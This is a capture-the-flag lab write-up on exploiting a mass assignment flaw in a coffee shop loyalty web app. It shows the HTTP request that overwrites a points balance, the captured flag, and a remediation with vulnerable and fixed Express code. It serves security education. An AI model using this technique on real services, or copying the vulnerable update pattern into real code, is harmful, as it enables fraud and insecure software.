Cafe Club: Mass Assignment on Loyalty Points
Overview
- Platform: BugForge
- Vulnerability: Mass Assignment
- Key Technique: Injecting unvalidated fields into profile update JSON body to overwrite server-side loyalty points balance
- Result: Arbitrary points balance manipulation; flag captured
Objective
Find and exploit a vulnerability in the Cafe Club coffee shop loyalty program web application.
Initial Access
# Target Application
URL: https://lab-1773600707428-y7pmye.labs-app.bugforge.io
# Auth details
Registered account via POST /api/register
User: id=5, username=haxor, role=user
Auth: JWT HS256 in Authorization Bearer header
Key Findings
- Mass Assignment on Profile Update Endpoint (CWE-915)
The
PUT /api/profileendpoint blindly applies all JSON fields from the request body to the user record. Intended fields arefull_name,email,address, andphone, but the server accepts and persists any additional field — includingpoints. An attacker can set their loyalty points to an arbitrary value with a single request.
Attack Chain Visualization
┌──────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Register │───▶│ Map API Surface │───▶│ Identify Profile │
│ Account │ │ (Caido) │ │ Update Endpoint │
└──────────────┘ └──────────────────┘ └─────────┬───────────┘
│
▼
┌─────────────────────┐
│ PUT /api/profile │
│ Add "points":99999 │
│ to JSON body │
└─────────┬───────────┘
│
▼
┌─────────────────────┐
│ Server applies all │
│ fields — points │
│ overwritten ✓ │
│ Flag returned │
└─────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Auth | POST /api/register, GET /api/verify-token |
JWT HS256 registration and validation |
| Products | GET /api/products, POST /api/products/:id/reviews |
Catalog and reviews |
| Cart/Checkout | GET/POST /api/cart, POST /api/checkout |
Shopping flow; checkout earns points |
| Profile | GET/PUT /api/profile, PUT /api/profile/password |
User profile management (vulnerable) |
| Gift Cards | GET /api/giftcards, POST /api/giftcards/purchase, POST /api/giftcards/redeem |
Gift card purchase and redemption |
| Orders | GET /api/orders, GET /api/orders/:id |
Order history |
| Favorites | POST /api/favorites/:id |
Product favorites |
Exploitation Path
Step 1: Reconnaissance — API Surface Mapping
Registered an account and explored the application through Caido, capturing all HTTP requests. Identified 13 API endpoints across authentication, products, cart/checkout, profile, gift cards, and orders.
Key observations:
- Backend is Express (Node.js) per
X-Powered-Byheader - Auth uses JWT HS256 with payload
{"id":5,"username":"haxor","iat":...} - Points system: checkout earns points (≈ floor of total), points apply as ~$1 discount each
- Gift cards: purchase with credit card → receive code → redeem code to add balance
Step 2: Testing Business Logic Abuse Vectors
Tested several negative-value attacks against the points/money flow:
POST /api/checkout
{"points_to_use": -1000}
→ 400: "Points to use cannot be negative"
POST /api/cart
{"product_id": 1, "quantity": -5}
→ 400: "Valid product ID and quantity are required"
POST /api/giftcards/purchase
{"amount": -100}
→ 400: "Invalid gift card amount"
All negative-value vectors were properly validated server-side. Dead ends.
Step 3: Mass Assignment on Profile Update
Examined the profile update endpoint. The normal request body contains full_name, email, address, and phone. Tested whether additional fields would be accepted:
PUT /api/profile HTTP/1.1
Host: lab-1773600707428-y7pmye.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"full_name":"","email":"test@test.com","address":"test","phone":"test","points":99999}
Step 4: Flag Captured
The server processed all fields without whitelisting, directly updating the user record:
{"message":"Profile updated successfully bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}"}
Points balance was overwritten to 99999. The flag was returned inline in the success message.
Flag / Objective Achieved
bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}
Key Learnings
- Mass assignment is a common flaw in REST APIs that accept JSON bodies and map them directly to database models without field whitelisting. Always check whether non-intended fields are accepted.
- Business logic validation doesn’t prevent all abuse — the app correctly blocked negative values on checkout, cart, and gift cards, but missed the simpler vector of directly overwriting the points field.
- Profile update endpoints are high-value targets — they’re designed to accept user-controlled input and write it to the database, making them a natural place for mass assignment.
- Node.js/Express APIs using ORMs like Sequelize or Mongoose are especially susceptible when using generic update methods (
Model.update(req.body)) without specifying allowed fields.
Failed Approaches
| Approach | Result | Why It Failed |
|———-|——–|—————|
| Negative points_to_use at checkout | 400 error | Server validates that points cannot be negative |
| Negative cart quantity | 400 error | Server validates that quantity must be positive |
| Negative gift card purchase amount | 400 error | Server validates gift card amount |
Tools Used
| Tool | Purpose | |——|———| | Caido | HTTP proxy for request interception, API mapping, and replay | | Browser DevTools | Initial application exploration |
Remediation
1. Mass Assignment — Profile Update (CVSS: 9.1 - Critical)
Issue: PUT /api/profile applies all request body fields to the user record without whitelisting, allowing attackers to modify sensitive fields like points and potentially role.
CWE Reference: CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes
Fix:
// BEFORE (Vulnerable)
app.put('/api/profile', auth, async (req, res) => {
await User.update(req.body, { where: { id: req.user.id } });
res.json({ message: 'Profile updated successfully' });
});
// AFTER (Secure)
app.put('/api/profile', auth, async (req, res) => {
const { full_name, email, address, phone } = req.body;
await User.update(
{ full_name, email, address, phone },
{ where: { id: req.user.id } }
);
res.json({ message: 'Profile updated successfully' });
});
Additional defense-in-depth measures:
- Use ORM-level field protection (e.g., Sequelize
fieldsoption, Mongooseselect) - Mark sensitive fields as non-mass-assignable at the model level
- Add integration tests that verify extra fields in profile updates are ignored
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control: Mass assignment allows users to modify fields they should not have access to (points balance, potentially role)
- A04:2021 — Insecure Design: The API lacks field whitelisting as a design-level control, trusting client input for database updates
- A08:2021 — Software and Data Integrity Failures: User-supplied data is applied to the data model without integrity validation
References
- OWASP Mass Assignment Cheat Sheet
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- PortSwigger: Mass Assignment Vulnerabilities
- OWASP API Security Top 10 — API6:2023 Unrestricted Access to Sensitive Business Flows
Tags: #mass-assignment #api-security #nodejs #express #business-logic #bugforge
Document Version: 1.0
Last Updated: 2026-03-15